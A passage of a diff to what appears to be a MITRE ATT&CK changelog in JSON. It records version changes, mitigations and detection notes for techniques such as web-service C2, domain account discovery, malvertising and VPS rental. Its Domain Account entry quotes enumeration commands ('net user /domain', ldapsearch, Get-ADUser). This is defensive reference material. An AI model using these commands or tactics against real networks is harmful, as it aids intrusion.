\"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies" + ], + "new": [ + "M1032: Multi-factor Authentication" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:13.915000+00:00", + "modified": "2024-10-07 17:53:54.380000+00:00", + "name": "Web Service", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1102", + "external_id": "T1102" + }, + { + "source_name": "Broadcom BirdyClient Microsoft Graph API 2024", + "description": "Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.", + "url": "https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Anastasios Pingios", + "Sarathkumar Rajendran, Microsoft Defender365" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-07 17:53:54.380000+00:00\", \"old_value\": \"2020-03-26 23:26:10.297000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\\n\\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\", \"old_value\": \"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\\n\\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\\n+Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\\n \\n Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Broadcom BirdyClient Microsoft Graph API 2024\", \"description\": \"Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.\", \"url\": \"https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication\"}, \"root['x_mitre_contributors'][1]\": \"Sarathkumar Rajendran, Microsoft Defender365\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use an existing, legitimate external Web sert1Adversaries may use an existing, legitimate external Web ser
>vice as a means for relaying data to/from a compromised syst>vice as a means for relaying data to/from a compromised syst
>em. Popular websites and social media acting as a mechanism >em. Popular websites, cloud services, and social media actin
>for C2 may give a significant amount of cover due to the lik>g as a mechanism for C2 may give a significant amount of cov
>elihood that hosts within a network are already communicatin>er due to the likelihood that hosts within a network are alr
>g with them prior to a compromise. Using common services, su>eady communicating with them prior to a compromise. Using co
>ch as those offered by Google or Twitter, makes it easier fo>mmon services, such as those offered by Google, Microsoft, o
>r adversaries to hide in expected noise. Web service provide>r Twitter, makes it easier for adversaries to hide in expect
>rs commonly use SSL/TLS encryption, giving adversaries an ad>ed noise.(Citation: Broadcom BirdyClient Microsoft Graph API
>ded level of protection.  Use of Web services may also prote> 2024) Web service providers commonly use SSL/TLS encryption
>ct back-end C2 infrastructure from discovery through malware>, giving adversaries an added level of protection.  Use of W
> binary analysis while also enabling operational resiliency >eb services may also protect back-end C2 infrastructure from
>(since this infrastructure may be dynamically changed).> discovery through malware binary analysis while also enabli
 >ng operational resiliency (since this infrastructure may be 
 >dynamically changed).
", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "attack-pattern", + "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:08:26.480000+00:00", + "modified": "2024-05-31 04:00:37.651000+00:00", + "name": "Domain Account", + "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087/002", + "external_id": "T1087.002" + }, + { + "source_name": "CrowdStrike StellarParticle January 2022", + "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", + "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ExtraHop", + "Miriam Wiesner, @miriamxyra, Microsoft Security" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution", + "Network Traffic: Network Traffic Content", + "Group: Group Enumeration" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-31 04:00:37.651000+00:00\", \"old_value\": \"2024-04-15 21:33:57.732000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\\n\\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) \", \"old_value\": \"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\\n\\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\\n \\n-Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) \\n+Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) \"}}}", + "previous_version": "1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to get a listing of domain accounts.t1Adversaries may attempt to get a listing of domain accounts.
> This information can help adversaries determine which domai> This information can help adversaries determine which domai
>n accounts exist to aid in follow-on behavior such as target>n accounts exist to aid in follow-on behavior such as target
>ing specific accounts which possess particular privileges.  >ing specific accounts which possess particular privileges.  
>Commands such as <code>net user /domain</code> and <code>net>Commands such as <code>net user /domain</code> and <code>net
> group /domain</code> of the [Net](https://attack.mitre.org/> group /domain</code> of the [Net](https://attack.mitre.org/
>software/S0039) utility, <code>dscacheutil -q group</code>on>software/S0039) utility, <code>dscacheutil -q group</code> o
> macOS, and <code>ldapsearch</code> on Linux can list domain>n macOS, and <code>ldapsearch</code> on Linux can list domai
> users and groups. [PowerShell](https://attack.mitre.org/tec>n users and groups. [PowerShell](https://attack.mitre.org/te
>hniques/T1059/001) cmdlets including <code>Get-ADUser</code>>chniques/T1059/001) cmdlets including <code>Get-ADUser</code
> and <code>Get-ADGroupMember</code> may enumerate members of>> and <code>Get-ADGroupMember</code> may enumerate members o
> Active Directory groups.(Citation: CrowdStrike StellarParti>f Active Directory groups.(Citation: CrowdStrike StellarPart
>cle January 2022)  >icle January 2022)  
", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0036: Group (Group Enumeration)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-09-30 16:37:40.271000+00:00", + "modified": "2024-10-16 20:03:59.884000+00:00", + "name": "Acquire Infrastructure", + "description": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583", + "external_id": "T1583" + }, + { + "source_name": "amnesty_nso_pegasus", + "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.", + "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/" + }, + { + "source_name": "Mandiant APT29 Microsoft 365 2022", + "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", + "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft" + }, + { + "source_name": "FBI Proxies Credential Stuffing", + "description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.", + "url": "https://www.ic3.gov/Media/News/2022/220818.pdf" + }, + { + "source_name": "Free Trial PurpleUrchin", + "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", + "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "TrendmicroHideoutsLease", + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Metadata", + "Internet Scan: Response Content", + "Domain Name: Active DNS", + "Domain Name: Passive DNS", + "Domain Name: Domain Registration" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:03:59.884000+00:00\", \"old_value\": \"2024-02-28 21:13:02.648000+00:00\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)", + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-02-21 20:46:57.170000+00:00", + "modified": "2024-10-16 20:10:08.246000+00:00", + "name": "Malvertising", + "description": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/008", + "external_id": "T1583.008" + }, + { + "source_name": "BBC-malvertising", + "description": "BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023.", + "url": "https://www.bbc.com/news/technology-12891182" + }, + { + "source_name": "FBI-search", + "description": "FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023.", + "url": "https://www.ic3.gov/Media/Y2022/PSA221221" + }, + { + "source_name": "sentinelone-malvertising", + "description": "Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023.", + "url": "https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/" + }, + { + "source_name": "spamhaus-malvertising", + "description": "Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023.", + "url": "https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/" + }, + { + "source_name": "Masquerads-Guardio", + "description": "Tal, Nati. (2022, December 28). \u201cMasquerAds\u201d \u2014 Google\u2019s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.", + "url": "https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tom Hegel", + "Menachem Goldstein", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India", + "Juan Carlos Campuzano - Mnemo-CERT" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:10:08.246000+00:00\", \"old_value\": \"2023-04-17 15:32:39.470000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:44:23.935000+00:00", + "modified": "2024-10-15 13:22:11.113000+00:00", + "name": "Virtual Private Server", + "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/003", + "external_id": "T1583.003" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "TrendmicroHideoutsLease", + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Internet Scan: Response Content", + "Internet Scan: Response Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 13:22:11.113000+00:00\", \"old_value\": \"2021-10-17 15:36:59.315000+00:00\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:55:16.047000+00:00", + "modified": "2024-10-15 13:37:31.317000+00:00", + "name": "Vulnerability Scanning", + "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop 